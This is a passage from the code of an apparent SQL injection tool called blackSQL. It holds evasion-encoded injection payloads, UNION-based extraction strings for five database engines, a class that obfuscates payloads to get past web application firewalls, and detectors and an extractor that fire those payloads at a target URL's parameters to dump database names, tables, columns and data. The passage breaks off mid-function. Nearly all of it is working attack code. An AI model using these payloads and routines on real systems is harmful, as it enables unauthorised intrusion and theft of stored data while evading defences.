179 | "%252520", # Space 180 | 181 | # Character replacement 182 | "CONCAT(CHAR(83),CHAR(69),CHAR(76),CHAR(69),CHAR(67),CHAR(84))", # SELECT 183 | "CHAR(83)+CHAR(69)+CHAR(76)+CHAR(69)+CHAR(67)+CHAR(84)", 184 | "CHAR(83)||CHAR(69)||CHAR(76)||CHAR(69)||CHAR(67)||CHAR(84)", 185 | 186 | # Null byte injection 187 | "%00", 188 | "\\0", 189 | 190 | # Logic alternatives 191 | " OR 2>1", 192 | " || 1=1", 193 | " && 1=1", 194 | 195 | # Comments in the middle 196 | "SEL/**/ECT", 197 | "SEL%09ECT", 198 | "S%0AELECT", 199 | "SELEC/*FOOBAR*/T" 200 | ] 201 | 202 | # Extraction payloads for MySQL 203 | MYSQL_EXTRACT = { 204 | 'databases': [ 205 | # Database names 206 | "' UNION SELECT schema_name,NULL,NULL FROM information_schema.schemata --", 207 | "' UNION SELECT GROUP_CONCAT(schema_name),NULL,NULL FROM information_schema.schemata --", 208 | ], 209 | 'tables': [ 210 | # Get tables from current database 211 | "' UNION SELECT table_name,NULL,NULL FROM information_schema.tables WHERE table_schema=DATABASE() --", 212 | "' UNION SELECT GROUP_CONCAT(table_name),NULL,NULL FROM information_schema.tables WHERE table_schema=DATABASE() --", 213 | # Get tables from specific database 214 | "' UNION SELECT table_name,NULL,NULL FROM information_schema.tables WHERE table_schema='{}' --", 215 | "' UNION SELECT GROUP_CONCAT(table_name),NULL,NULL FROM information_schema.tables WHERE table_schema='{}' --", 216 | ], 217 | 'columns': [ 218 | # Get columns from a table 219 | "' UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='{}' --", 220 | "' UNION SELECT GROUP_CONCAT(column_name),NULL,NULL FROM information_schema.columns WHERE table_name='{}' --", 221 | ], 222 | 'data': [ 223 | # Get data from columns 224 | "' UNION SELECT {0},NULL,NULL FROM {1} --", 225 | "' UNION SELECT GROUP_CONCAT({0}),NULL,NULL FROM {1} --", 226 | ] 227 | } 228 | 229 | # Extraction payloads for MSSQL 230 | MSSQL_EXTRACT = { 231 | 'databases': [ 232 | # Database names 233 | "' UNION SELECT name,NULL,NULL FROM master..sysdatabases --", 234 | "' UNION SELECT DB_NAME(0),NULL,NULL --", 235 | "' UNION SELECT DB_NAME(1),NULL,NULL --", 236 | ], 237 | 'tables': [ 238 | # Get tables from current database 239 | "' UNION SELECT name,NULL,NULL FROM sysobjects WHERE xtype='U' --", 240 | # Get tables from specific database 241 | "' UNION SELECT name,NULL,NULL FROM {0}..sysobjects WHERE xtype='U' --", 242 | ], 243 | 'columns': [ 244 | # Get columns from a table 245 | "' UNION SELECT name,NULL,NULL FROM syscolumns WHERE id=OBJECT_ID('{}') --", 246 | ], 247 | 'data': [ 248 | # Get data from columns 249 | "' UNION SELECT {0},NULL,NULL FROM {1} --", 250 | ] 251 | } 252 | 253 | # Extraction payloads for PostgreSQL 254 | POSTGRES_EXTRACT = { 255 | 'databases': [ 256 | # Database names 257 | "' UNION SELECT datname,NULL,NULL FROM pg_database --", 258 | ], 259 | 'tables': [ 260 | # Get tables from current database 261 | "' UNION SELECT table_name,NULL,NULL FROM information_schema.tables WHERE table_schema='public' --", 262 | # Get tables from specific database 263 | "' UNION SELECT tablename,NULL,NULL FROM pg_tables WHERE schemaname='public' --", 264 | ], 265 | 'columns': [ 266 | # Get columns from a table 267 | "' UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='{}' --", 268 | ], 269 | 'data': [ 270 | # Get data from columns 271 | "' UNION SELECT {0},NULL,NULL FROM {1} --", 272 | ] 273 | } 274 | 275 | # Extraction payloads for Oracle 276 | ORACLE_EXTRACT = { 277 | 'databases': [ 278 | # There are no multiple databases in Oracle, only schemas 279 | "' UNION SELECT owner,NULL,NULL FROM all_tables --", 280 | ], 281 | 'tables': [ 282 | # Get tables from current schema 283 | "' UNION SELECT table_name,NULL,NULL FROM all_tables WHERE owner=USER --", 284 | # Get tables from specific schema 285 | "' UNION SELECT table_name,NULL,NULL FROM all_tables WHERE owner='{}' --", 286 | ], 287 | 'columns': [ 288 | # Get columns from a table 289 | "' UNION SELECT column_name,NULL,NULL FROM all_tab_columns WHERE table_name='{}' --", 290 | ], 291 | 'data': [ 292 | # Get data from columns 293 | "' UNION SELECT {0},NULL,NULL FROM {1} --", 294 | ] 295 | } 296 | 297 | # Extraction payloads for SQLite 298 | SQLITE_EXTRACT = { 299 | 'databases': [ 300 | # SQLite has no concept of multiple databases 301 | "' UNION SELECT 'main',NULL,NULL --", 302 | ], 303 | 'tables': [ 304 | # Get tables 305 | "' UNION SELECT name,NULL,NULL FROM sqlite_master WHERE type='table' --", 306 | ], 307 | 'columns': [ 308 | # Get columns from a table 309 | "' UNION SELECT sql,NULL,NULL FROM sqlite_master WHERE type='table' AND name='{}' --", 310 | ], 311 | 'data': [ 312 | # Get data from columns 313 | "' UNION SELECT {0},NULL,NULL FROM {1} --", 314 | ] 315 | } 316 | 317 | # Collection of extraction payloads by database type 318 | EXTRACTION_PAYLOADS = { 319 | 'mysql': MYSQL_EXTRACT, 320 | 'mssql': MSSQL_EXTRACT, 321 | 'postgres': POSTGRES_EXTRACT, 322 | 'oracle': ORACLE_EXTRACT, 323 | 'sqlite': SQLITE_EXTRACT 324 | } 325 | -------------------------------------------------------------------------------- /lib/payloads/waf_bypass.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | WAF bypass techniques for blackSQL 6 | """ 7 | 8 | import random 9 | import re 10 | from ..payloads.sql_payloads import WAF_BYPASS 11 | 12 | 13 | class WAFBypass: 14 | """Class to implement WAF bypass techniques""" 15 | 16 | @staticmethod 17 | def random_case(payload): 18 | """ 19 | Randomize the case of characters in a payload 20 | 21 | Args: 22 | payload (str): Original payload 23 | 24 | Returns: 25 | str: Payload with randomized case 26 | """ 27 | result = "" 28 | for char in payload: 29 | if char.isalpha(): 30 | if random.choice([True, False]): 31 | result += char.upper() 32 | else: 33 | result += char.lower() 34 | else: 35 | result += char 36 | 37 | return result 38 | 39 | @staticmethod 40 | def add_comments(payload): 41 | """ 42 | Add comments in the payload to break pattern recognition 43 | 44 | Args: 45 | payload (str): Original payload 46 | 47 | Returns: 48 | str: Payload with comments 49 | """ 50 | # Add comments for SQL keywords 51 | keywords = ['SELECT', 'UNION', 'FROM', 'WHERE', 52 | 'AND', 'OR', 'ORDER BY', 'GROUP BY'] 53 | 54 | for keyword in keywords: 55 | if keyword in payload.upper(): 56 | # Replace the keyword with commented version 57 | pattern = re.compile(re.escape(keyword), re.IGNORECASE) 58 | replacement = keyword[0] + "/**/".join(list(keyword[1:])) 59 | payload = pattern.sub(replacement, payload) 60 | 61 | return payload 62 | 63 | @staticmethod 64 | def url_encode(payload, double=False): 65 | """ 66 | URL encode the payload 67 | 68 | Args: 69 | payload (str): Original payload 70 | double (bool): Whether to double encode 71 | 72 | Returns: 73 | str: URL encoded payload 74 | """ 75 | result = "" 76 | for char in payload: 77 | if char in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_.~": 78 | result += char 79 | else: 80 | hex_char = hex(ord(char))[2:] 81 | if len(hex_char) < 2: 82 | hex_char = "0" + hex_char 83 | hex_char = "%" + hex_char.upper() 84 | 85 | if double: 86 | # Double encode 87 | hex_char = "%25" + hex_char[1:] 88 | 89 | result += hex_char 90 | 91 | return result 92 | 93 | @staticmethod 94 | def char_encoding(payload): 95 | """ 96 | Encode the payload using CHAR() function 97 | 98 | Args: 99 | payload (str): Original payload 100 | 101 | Returns: 102 | str: Encoded payload 103 | """ 104 | result = "" 105 | for char in payload: 106 | if char in "'\"": 107 | # Skip quotes to avoid breaking the query 108 | result += char 109 | elif char.isalpha() or char.isdigit(): 110 | result += f"CHAR({ord(char)})" 111 | else: 112 | result += char 113 | 114 | return result 115 | 116 | @staticmethod 117 | def add_whitespace(payload): 118 | """ 119 | Add whitespace to break pattern recognition 120 | 121 | Args: 122 | payload (str): Original payload 123 | 124 | Returns: 125 | str: Payload with added whitespace 126 | """ 127 | whitespace = [' ', '\t', '\n', '\r', '\v', '\f'] 128 | 129 | # Add random whitespace before operators 130 | operators = ['=', '<', '>', '!', '+', 131 | '-', '*', '/', '(', ')', ',', ';'] 132 | 133 | result = "" 134 | for char in payload: 135 | if char in operators: 136 | result += random.choice(whitespace) + \ 137 | char + random.choice(whitespace) 138 | else: 139 | result += char 140 | 141 | return result 142 | 143 | @staticmethod 144 | def apply_bypass_technique(payload, technique=None): 145 | """ 146 | Apply a WAF bypass technique to a payload 147 | 148 | Args: 149 | payload (str): Original payload 150 | technique (str, optional): Specific technique to apply 151 | 152 | Returns: 153 | str: Modified payload 154 | """ 155 | techniques = { 156 | 'random_case': WAFBypass.random_case, 157 | 'add_comments': WAFBypass.add_comments, 158 | 'url_encode': WAFBypass.url_encode, 159 | 'char_encoding': WAFBypass.char_encoding, 160 | 'add_whitespace': WAFBypass.add_whitespace 161 | } 162 | 163 | if technique and technique in techniques: 164 | return techniques[technique](payload) 165 | 166 | # Apply a random technique if none specified 167 | return random.choice(list(techniques.values()))(payload) 168 | 169 | @staticmethod 170 | def get_bypass_payloads(payload, count=3): 171 | """ 172 | Get a list of payloads with WAF bypass techniques applied 173 | 174 | Args: 175 | payload (str): Original payload 176 | count (int): Number of variants to generate 177 | 178 | Returns: 179 | list: List of modified payloads 180 | """ 181 | bypass_payloads = [payload] # Include original payload 182 | 183 | techniques = [ 184 | WAFBypass.random_case, 185 | WAFBypass.add_comments, 186 | WAFBypass.url_encode, 187 | WAFBypass.char_encoding, 188 | WAFBypass.add_whitespace 189 | ] 190 | 191 | for _ in range(count): 192 | # Apply a random technique 193 | technique = random.choice(techniques) 194 | modified_payload = technique(payload) 195 | 196 | # Ensure we don't add duplicates 197 | if modified_payload not in bypass_payloads: 198 | bypass_payloads.append(modified_payload) 199 | 200 | return bypass_payloads 201 | -------------------------------------------------------------------------------- /lib/techniques/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sharafdin/blackSQL/f844407a48efb85582abe1875e0c11d534a8a46f/lib/techniques/__init__.py -------------------------------------------------------------------------------- /lib/techniques/boolean_based.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Boolean-based SQL injection detection 6 | """ 7 | 8 | import re 9 | import difflib 10 | from ..utils.http_utils import inject_payload_in_url 11 | from ..utils.cli import print_status 12 | 13 | 14 | class BooleanBasedDetector: 15 | """Class to detect boolean-based SQL injections""" 16 | 17 | def __init__(self, url, request_handler, logger, vuln_logger=None, similarity_threshold=0.95): 18 | """ 19 | Initialize boolean-based detector 20 | 21 | Args: 22 | url (str): Target URL 23 | request_handler (RequestHandler): HTTP request handler instance 24 | logger (logging.Logger): Logger instance 25 | vuln_logger (VulnerabilityLogger, optional): Vulnerability logger 26 | similarity_threshold (float): Threshold for similarity comparison 27 | """ 28 | self.url = url 29 | self.request_handler = request_handler 30 | self.logger = logger 31 | self.vuln_logger = vuln_logger 32 | self.similarity_threshold = similarity_threshold 33 | 34 | def content_difference(self, response1, response2): 35 | """ 36 | Calculate difference between two responses 37 | 38 | Args: 39 | response1 (str): First response content 40 | response2 (str): Second response content 41 | 42 | Returns: 43 | float: Similarity ratio between the two responses (0.0 to 1.0) 44 | """ 45 | # Remove dynamic content that might change between requests 46 | # (e.g., timestamps, session tokens, CSRF tokens) 47 | def normalize_content(content): 48 | # Remove potential time-based dynamic content 49 | content = re.sub(r'\d{2}:\d{2}:\d{2}', '', content) 50 | content = re.sub(r'\d{2}/\d{2}/\d{4}', '', content) 51 | 52 | # Remove potential tokens and hashes 53 | content = re.sub(r'[a-fA-F0-9]{32}', '', content) # MD5 54 | content = re.sub(r'[a-fA-F0-9]{40}', '', content) # SHA-1 55 | content = re.sub(r'[a-fA-F0-9]{64}', '', content) # SHA-256 56 | 57 | # Remove whitespace 58 | content = re.sub(r'\s+', ' ', content) 59 | 60 | return content 61 | 62 | # Normalize content 63 | normalized1 = normalize_content(response1) 64 | normalized2 = normalize_content(response2) 65 | 66 | # Calculate similarity ratio 67 | similarity = difflib.SequenceMatcher( 68 | None, normalized1, normalized2).ratio() 69 | 70 | return similarity 71 | 72 | def has_significant_difference(self, true_response, false_response): 73 | """ 74 | Check if there's a significant difference between responses 75 | 76 | Args: 77 | true_response (requests.Response): Response for TRUE condition 78 | false_response (requests.Response): Response for FALSE condition 79 | 80 | Returns: 81 | bool: True if significant difference exists, False otherwise 82 | """ 83 | # Check if status codes differ 84 | if true_response.status_code != false_response.status_code: 85 | return True 86 | 87 | # Check response size difference 88 | true_size = len(true_response.text) 89 | false_size = len(false_response.text) 90 | size_diff_ratio = min(true_size, false_size) / max(true_size, 91 | false_size) if max(true_size, false_size) > 0 else 1.0 92 | 93 | # If sizes are very different (less than 70% similarity in size) 94 | if size_diff_ratio < 0.7: 95 | return True 96 | 97 | # Check content similarity 98 | similarity = self.content_difference( 99 | true_response.text, false_response.text) 100 | 101 | # If similarity is below threshold, there's a significant difference 102 | return similarity < self.similarity_threshold 103 | 104 | def scan_parameter(self, parameter, payload_pairs, is_post=False, data=None): 105 | """ 106 | Scan a parameter for boolean-based SQL injection 107 | 108 | Args: 109 | parameter (str): Parameter name to test 110 | payload_pairs (list): List of boolean payload pairs [(true_payload, false_payload), ...] 111 | is_post (bool): Whether to test POST parameter 112 | data (dict, optional): POST data 113 | 114 | Returns: 115 | tuple: (bool, str) - (is_vulnerable, payload) 116 | """ 117 | self.logger.info( 118 | f"Testing parameter '{parameter}' for boolean-based SQL injection") 119 | 120 | # Create pairs of TRUE/FALSE condition payloads 121 | # Each pair should give different responses if injection exists 122 | true_false_pairs = [] 123 | 124 | # Create TRUE/FALSE pairs for testing 125 | for i in range(0, len(payload_pairs), 2): 126 | if i + 1 < len(payload_pairs): 127 | true_payload = payload_pairs[i] 128 | false_payload = payload_pairs[i + 1] 129 | true_false_pairs.append((true_payload, false_payload)) 130 | 131 | # Test each TRUE/FALSE pair 132 | for true_payload, false_payload in true_false_pairs: 133 | try: 134 | # Test TRUE condition 135 | if is_post: 136 | # Modify POST data 137 | true_test_data = data.copy() 138 | true_test_data[parameter] = true_payload 139 | 140 | # Send POST request 141 | true_response = self.request_handler.post( 142 | self.url, data=true_test_data) 143 | else: 144 | # Inject TRUE payload into URL parameter 145 | true_test_url = inject_payload_in_url( 146 | self.url, parameter, true_payload) 147 | 148 | # Send GET request 149 | true_response = self.request_handler.get(true_test_url) 150 | 151 | # Test FALSE condition 152 | if is_post: 153 | # Modify POST data 154 | false_test_data = data.copy() 155 | false_test_data[parameter] = false_payload 156 | 157 | # Send POST request 158 | false_response = self.request_handler.post( 159 | self.url, data=false_test_data) 160 | else: 161 | # Inject FALSE payload into URL parameter 162 | false_test_url = inject_payload_in_url( 163 | self.url, parameter, false_payload) 164 | 165 | # Send GET request 166 | false_response = self.request_handler.get(false_test_url) 167 | 168 | # Check if there's a significant difference between responses 169 | if self.has_significant_difference(true_response, false_response): 170 | # Log vulnerability 171 | print_status( 172 | f"Parameter '{parameter}' is vulnerable to boolean-based SQL injection", "vuln") 173 | print_status(f"TRUE payload: {true_payload}", "info") 174 | print_status(f"FALSE payload: {false_payload}", "info") 175 | 176 | # Try to determine database type 177 | db_type = "Unknown" 178 | # Look for database-specific syntax in the payloads 179 | if any(kw in true_payload.upper() for kw in ["MYSQL", "SLEEP", "INFORMATION_SCHEMA"]): 180 | db_type = "MySQL" 181 | elif any(kw in true_payload.upper() for kw in ["MSSQL", "WAITFOR", "SYSOBJECTS"]): 182 | db_type = "MSSQL" 183 | elif any(kw in true_payload.upper() for kw in ["PG_", "POSTGRES"]): 184 | db_type = "PostgreSQL" 185 | elif any(kw in true_payload.upper() for kw in ["ORA", "ROWNUM"]): 186 | db_type = "Oracle" 187 | elif any(kw in true_payload.upper() for kw in ["SQLITE"]): 188 | db_type = "SQLite" 189 | 190 | print_status(f"Database type: {db_type}", "info") 191 | 192 | self.logger.warning( 193 | f"Found boolean-based SQL injection in parameter '{parameter}'") 194 | self.logger.info(f"TRUE payload: {true_payload}") 195 | self.logger.info(f"FALSE payload: {false_payload}") 196 | 197 | if self.vuln_logger: 198 | self.vuln_logger.add_vulnerability( 199 | url=self.url, 200 | injection_type="Boolean-based", 201 | parameter=parameter, 202 | payload=f"TRUE: {true_payload}, FALSE: {false_payload}", 203 | database_type=db_type, 204 | details={ 205 | "true_payload": true_payload, 206 | "false_payload": false_payload, 207 | "response_difference": 1.0 - self.content_difference(true_response.text, false_response.text) 208 | } 209 | ) 210 | 211 | return True, db_type, true_payload 212 | 213 | except Exception as e: 214 | self.logger.error( 215 | f"Error testing payloads {true_payload}/{false_payload}: {str(e)}") 216 | continue 217 | 218 | print_status( 219 | f"Parameter '{parameter}' is not vulnerable to boolean-based SQL injection", "info") 220 | self.logger.info( 221 | f"No boolean-based SQL injection found in parameter '{parameter}'") 222 | 223 | return False, None, None 224 | -------------------------------------------------------------------------------- /lib/techniques/error_based.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Error-based SQL injection detection 6 | """ 7 | 8 | import re 9 | from ..utils.http_utils import inject_payload_in_url, RequestHandler 10 | from ..utils.cli import print_status 11 | 12 | # SQL error patterns for different database types 13 | ERROR_PATTERNS = { 14 | 'mysql': [ 15 | r'SQL syntax.*MySQL', 16 | r'Warning.*mysql_', 17 | r'valid MySQL result', 18 | r'MySqlClient\.', 19 | r'MySQL Query fail', 20 | r'SQL syntax.*MariaDB server', 21 | r'mysqli_fetch_array\(.*\)', 22 | r'.*You have an error in your SQL syntax.*' 23 | ], 24 | 'postgresql': [ 25 | r'PostgreSQL.*ERROR', 26 | r'Warning.*\Wpg_', 27 | r'valid PostgreSQL result', 28 | r'Npgsql\.', 29 | r'PG::SyntaxError:', 30 | r'org\.postgresql\.util\.PSQLException' 31 | ], 32 | 'mssql': [ 33 | r'Driver.* SQL[\-\_\ ]*Server', 34 | r'OLE DB.* SQL Server', 35 | r'\bSQL Server[^<"]+Driver', 36 | r'Warning.*mssql_', 37 | r'\bSQL Server[^<"]+[0-9a-fA-F]{8}', 38 | r'System\.Data\.SqlClient\.SqlException', 39 | r'(?s)Exception.*\WSystem\.Data\.SqlClient\.', 40 | r'Unclosed quotation mark after the character string', 41 | r"'80040e14'", 42 | r'mssql_query\(\)' 43 | ], 44 | 'oracle': [ 45 | r'\bORA-[0-9][0-9][0-9][0-9]', 46 | r'Oracle error', 47 | r'Oracle.*Driver', 48 | r'Warning.*\Woci_', 49 | r'Warning.*\Wora_', 50 | r'oracle\.jdbc\.driver' 51 | ], 52 | 'sqlite': [ 53 | r'SQLite/JDBCDriver', 54 | r'SQLite\.Exception', 55 | r'System\.Data\.SQLite\.SQLiteException', 56 | r'Warning.*sqlite_', 57 | r'Warning.*SQLite3::', 58 | r'\[SQLITE_ERROR\]' 59 | ], 60 | 'general': [ 61 | r'SQL syntax.*', 62 | r'syntax error has occurred', 63 | r'incorrect syntax near', 64 | r'unexpected end of SQL command', 65 | r'Warning: (?:mysql|mysqli|pg|sqlite|oracle|mssql)', 66 | r'unclosed quotation mark after the character string', 67 | r'quoted string not properly terminated', 68 | r'SQL command not properly ended', 69 | r'Error: .*?near .*? line [0-9]+' 70 | ] 71 | } 72 | 73 | 74 | class ErrorBasedDetector: 75 | """Class to detect error-based SQL injections""" 76 | 77 | def __init__(self, url, request_handler, logger, vuln_logger=None): 78 | """ 79 | Initialize error-based detector 80 | 81 | Args: 82 | url (str): Target URL 83 | request_handler (RequestHandler): HTTP request handler instance 84 | logger (logging.Logger): Logger instance 85 | vuln_logger (VulnerabilityLogger, optional): Vulnerability logger 86 | """ 87 | self.url = url 88 | self.request_handler = request_handler 89 | self.logger = logger 90 | self.vuln_logger = vuln_logger 91 | 92 | # Compile regular expressions 93 | self.error_patterns = {} 94 | for db_type, patterns in ERROR_PATTERNS.items(): 95 | self.error_patterns[db_type] = [re.compile( 96 | pattern, re.IGNORECASE) for pattern in patterns] 97 | 98 | def detect_errors(self, response_text): 99 | """ 100 | Detect SQL errors in response text 101 | 102 | Args: 103 | response_text (str): HTTP response text 104 | 105 | Returns: 106 | tuple: (bool, str) - (is_vulnerable, database_type) 107 | """ 108 | for db_type, patterns in self.error_patterns.items(): 109 | for pattern in patterns: 110 | if pattern.search(response_text): 111 | return True, db_type 112 | 113 | return False, None 114 | 115 | def scan_parameter(self, parameter, payloads, is_post=False, data=None): 116 | """ 117 | Scan a parameter for error-based SQL injection 118 | 119 | Args: 120 | parameter (str): Parameter name to test 121 | payloads (list): List of payloads to test 122 | is_post (bool): Whether to test POST parameter 123 | data (dict, optional): POST data 124 | 125 | Returns: 126 | tuple: (bool, str, str) - (is_vulnerable, database_type, payload) 127 | """ 128 | self.logger.info( 129 | f"Testing parameter '{parameter}' for error-based SQL injection") 130 | 131 | # Store original URL/data for comparison 132 | if is_post: 133 | original_data = data.copy() 134 | original_response = self.request_handler.post( 135 | self.url, data=original_data) 136 | else: 137 | original_response = self.request_handler.get(self.url) 138 | 139 | # Check for SQL errors in each payload 140 | for payload in payloads: 141 | try: 142 | if is_post: 143 | # Modify POST data 144 | test_data = data.copy() 145 | test_data[parameter] = payload 146 | 147 | # Send POST request 148 | response = self.request_handler.post( 149 | self.url, data=test_data) 150 | else: 151 | # Inject payload into URL parameter 152 | test_url = inject_payload_in_url( 153 | self.url, parameter, payload) 154 | 155 | # Send GET request 156 | response = self.request_handler.get(test_url) 157 | 158 | # Check for SQL errors in response 159 | is_vulnerable, db_type = self.detect_errors(response.text) 160 | 161 | if is_vulnerable: 162 | # Log vulnerability 163 | print_status( 164 | f"Parameter '{parameter}' is vulnerable to error-based SQL injection", "vuln") 165 | print_status( 166 | f"Database type: {db_type if db_type != 'general' else 'Unknown'}", "info") 167 | print_status(f"Payload: {payload}", "info") 168 | 169 | self.logger.warning( 170 | f"Found error-based SQL injection in parameter '{parameter}' with payload: {payload}") 171 | 172 | if self.vuln_logger: 173 | self.vuln_logger.add_vulnerability( 174 | url=self.url, 175 | injection_type="Error-based", 176 | parameter=parameter, 177 | payload=payload, 178 | database_type=db_type if db_type != 'general' else 'Unknown' 179 | ) 180 | 181 | return True, db_type, payload 182 | 183 | except Exception as e: 184 | self.logger.error(f"Error testing payload {payload}: {str(e)}") 185 | continue 186 | 187 | print_status( 188 | f"Parameter '{parameter}' is not vulnerable to error-based SQL injection", "info") 189 | self.logger.info( 190 | f"No error-based SQL injection found in parameter '{parameter}'") 191 | 192 | return False, None, None 193 | -------------------------------------------------------------------------------- /lib/techniques/extractor.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Database information extraction module 6 | """ 7 | 8 | import re 9 | from ..utils.http_utils import inject_payload_in_url 10 | from ..utils.cli import print_status 11 | from ..payloads.sql_payloads import EXTRACTION_PAYLOADS 12 | 13 | 14 | class DatabaseExtractor: 15 | """Class to extract database information when vulnerabilities are found""" 16 | 17 | def __init__(self, url, parameter, db_type, request_handler, logger, vuln_logger=None, is_post=False, data=None): 18 | """ 19 | Initialize database extractor 20 | 21 | Args: 22 | url (str): Target URL 23 | parameter (str): Vulnerable parameter 24 | db_type (str): Database type 25 | request_handler (RequestHandler): HTTP request handler instance 26 | logger (logging.Logger): Logger instance 27 | vuln_logger (VulnerabilityLogger, optional): Vulnerability logger 28 | is_post (bool): Whether to use POST requests 29 | data (dict, optional): POST data 30 | """ 31 | self.url = url 32 | self.parameter = parameter 33 | self.db_type = db_type.lower() if db_type else "unknown" 34 | self.request_handler = request_handler 35 | self.logger = logger 36 | self.vuln_logger = vuln_logger 37 | self.is_post = is_post 38 | self.data = data 39 | 40 | # Get appropriate extraction payloads 41 | if self.db_type == "mysql": 42 | self.extraction_payloads = EXTRACTION_PAYLOADS['mysql'] 43 | elif self.db_type == "mssql": 44 | self.extraction_payloads = EXTRACTION_PAYLOADS['mssql'] 45 | elif self.db_type in ["postgresql", "postgres"]: 46 | self.extraction_payloads = EXTRACTION_PAYLOADS['postgres'] 47 | elif self.db_type == "oracle": 48 | self.extraction_payloads = EXTRACTION_PAYLOADS['oracle'] 49 | elif self.db_type == "sqlite": 50 | self.extraction_payloads = EXTRACTION_PAYLOADS['sqlite'] 51 | else: 52 | # Default to MySQL if unknown 53 | self.extraction_payloads = EXTRACTION_PAYLOADS['mysql'] 54 | 55 | def extract_content(self, payload): 56 | """ 57 | Extract content from a payload injection 58 | 59 | Args: 60 | payload (str): SQL payload to inject 61 | 62 | Returns: 63 | str: Extracted content or None if not found 64 | """ 65 | try: 66 | if self.is_post: 67 | # Modify POST data 68 | test_data = self.data.copy() 69 | test_data[self.parameter] = payload 70 | 71 | # Send POST request 72 | response = self.request_handler.post(self.url, data=test_data) 73 | else: 74 | # Inject payload into URL parameter 75 | test_url = inject_payload_in_url( 76 | self.url, self.parameter, payload) 77 | 78 | # Send GET request 79 | response = self.request_handler.get(test_url) 80 | 81 | # Extract content from response 82 | # Look for common patterns in the response that might contain the extracted data 83 | 84 | # Try to find data between tags (often databases output data in HTML tags) 85 | tag_pattern = re.compile(r'<[^>]+>(.*?)]+>', re.DOTALL) 86 | tag_matches = tag_pattern.findall(response.text) 87 | 88 | # Try to find data in "visible" parts of the response 89 | # This is a simple heuristic to extract text that might be displayed to users 90 | for match in tag_matches: 91 | # Clean up the match 92 | match = match.strip() 93 | if match and not re.match(r'^[\s\n\r]*$', match): 94 | return match 95 | 96 | # Try to find data based on specific patterns for database outputs 97 | db_output_patterns = [ 98 | # Pattern for column data (number sequences) 99 | r'(\d+)[\s,]+(\d+)[\s,]+(\d+)', 100 | 101 | # Pattern for database names, table names, etc. 102 | r'([a-zA-Z0-9_]+)[\s,]+([a-zA-Z0-9_]+)[\s,]+([a-zA-Z0-9_]+)', 103 | 104 | # Pattern for version information 105 | r'([\w\-\. ]+?)\s*?(\d+\.\d+[\.\d]*)', 106 | ] 107 | 108 | for pattern in db_output_patterns: 109 | matches = re.findall(pattern, response.text) 110 | if matches: 111 | return str(matches[0]) 112 | 113 | # If no patterns matched, return a part of the response 114 | # This is a fallback in case our patterns don't match 115 | if len(response.text) > 1000: 116 | return response.text[:1000] + "..." 117 | else: 118 | return response.text 119 | 120 | except Exception as e: 121 | self.logger.error( 122 | f"Error extracting content with payload {payload}: {str(e)}") 123 | return None 124 | 125 | def extract_databases(self): 126 | """ 127 | Extract database names 128 | 129 | Returns: 130 | list: List of database names 131 | """ 132 | self.logger.info("Extracting database names") 133 | print_status("Extracting database names...", "info") 134 | 135 | databases = [] 136 | 137 | for payload in self.extraction_payloads['databases']: 138 | result = self.extract_content(payload) 139 | if result: 140 | self.logger.info(f"Found databases: {result}") 141 | print_status(f"Found databases: {result}", "success") 142 | databases.append(result) 143 | break 144 | 145 | return databases 146 | 147 | def extract_tables(self, database=None): 148 | """ 149 | Extract table names from a database 150 | 151 | Args: 152 | database (str, optional): Database name to extract tables from 153 | 154 | Returns: 155 | list: List of table names 156 | """ 157 | self.logger.info( 158 | f"Extracting tables from database {database if database else 'current'}") 159 | print_status( 160 | f"Extracting tables from database {database if database else 'current'}...", "info") 161 | 162 | tables = [] 163 | 164 | for payload in self.extraction_payloads['tables']: 165 | # Format payload with database name if provided 166 | formatted_payload = payload.format( 167 | database) if database and '{}' in payload else payload 168 | 169 | result = self.extract_content(formatted_payload) 170 | if result: 171 | self.logger.info(f"Found tables: {result}") 172 | print_status(f"Found tables: {result}", "success") 173 | tables.append(result) 174 | break 175 | 176 | return tables 177 | 178 | def extract_columns(self, table): 179 | """ 180 | Extract column names from a table 181 | 182 | Args: 183 | table (str): Table name to extract columns from 184 | 185 | Returns: 186 | list: List of column names 187 | """ 188 | if not table: 189 | return [] 190 | 191 | self.logger.info(f"Extracting columns from table {table}") 192 | print_status(f"Extracting columns from table {table}...", "info") 193 | 194 | columns = [] 195 | 196 | for payload in self.extraction_payloads['columns']: 197 | # Format payload with table name 198 | formatted_payload = payload.format(table) 199 | 200 | result = self.extract_content(formatted_payload) 201 | if result: 202 | self.logger.info(f"Found columns: {result}") 203 | print_status(f"Found columns: {result}", "success") 204 | columns.append(result) 205 | break 206 | 207 | return columns 208 | 209 | def extract_data(self, table, columns): 210 | """ 211 | Extract data from a table 212 | 213 | Args: 214 | table (str): Table name to extract data from 215 | columns (str): Comma-separated list of columns to extract 216 | 217 | Returns: 218 | list: List of data rows 219 | """ 220 | if not table or not columns: 221 | return [] 222 | 223 | self.logger.info( 224 | f"Extracting data from table {table}, columns {columns}") 225 | print_status( 226 | f"Extracting data from table {table}, columns {columns}...", "info") 227 | 228 | data = [] 229 | 230 | for payload in self.extraction_payloads['data']: 231 | # Format payload with columns and table 232 | formatted_payload = payload.format(columns, table) 233 | 234 | result = self.extract_content(formatted_payload) 235 | if result: 236 | self.logger.info(f"Found data: {result}") 237 | print_status(f"Found data: {result}", "success") 238 | data.append(result) 239 | break 240 | 241 | return data 242 | 243 | def extract_all(self): 244 | """ 245 | Extract all available database information 246 | 247 | Returns: 248 | dict: Dictionary containing extracted information 249 | """ 250 | extraction_results = { 251 | 'databases': [], 252 | 'tables': {}, 253 | 'columns': {}, 254 | 'data': {} 255 | } 256 | 257 | # Extract databases 258 | databases = self.extract_databases() 259 | extraction_results['databases'] = databases 260 | 261 | # Extract tables from each database 262 | # Limit to first 2 databases to avoid too many requests 263 | for database in databases[:2]: 264 | tables = self.extract_tables(database) 265 | extraction_results['tables'][database] = tables 266 | 267 | # Extract columns from each table 268 | for table in 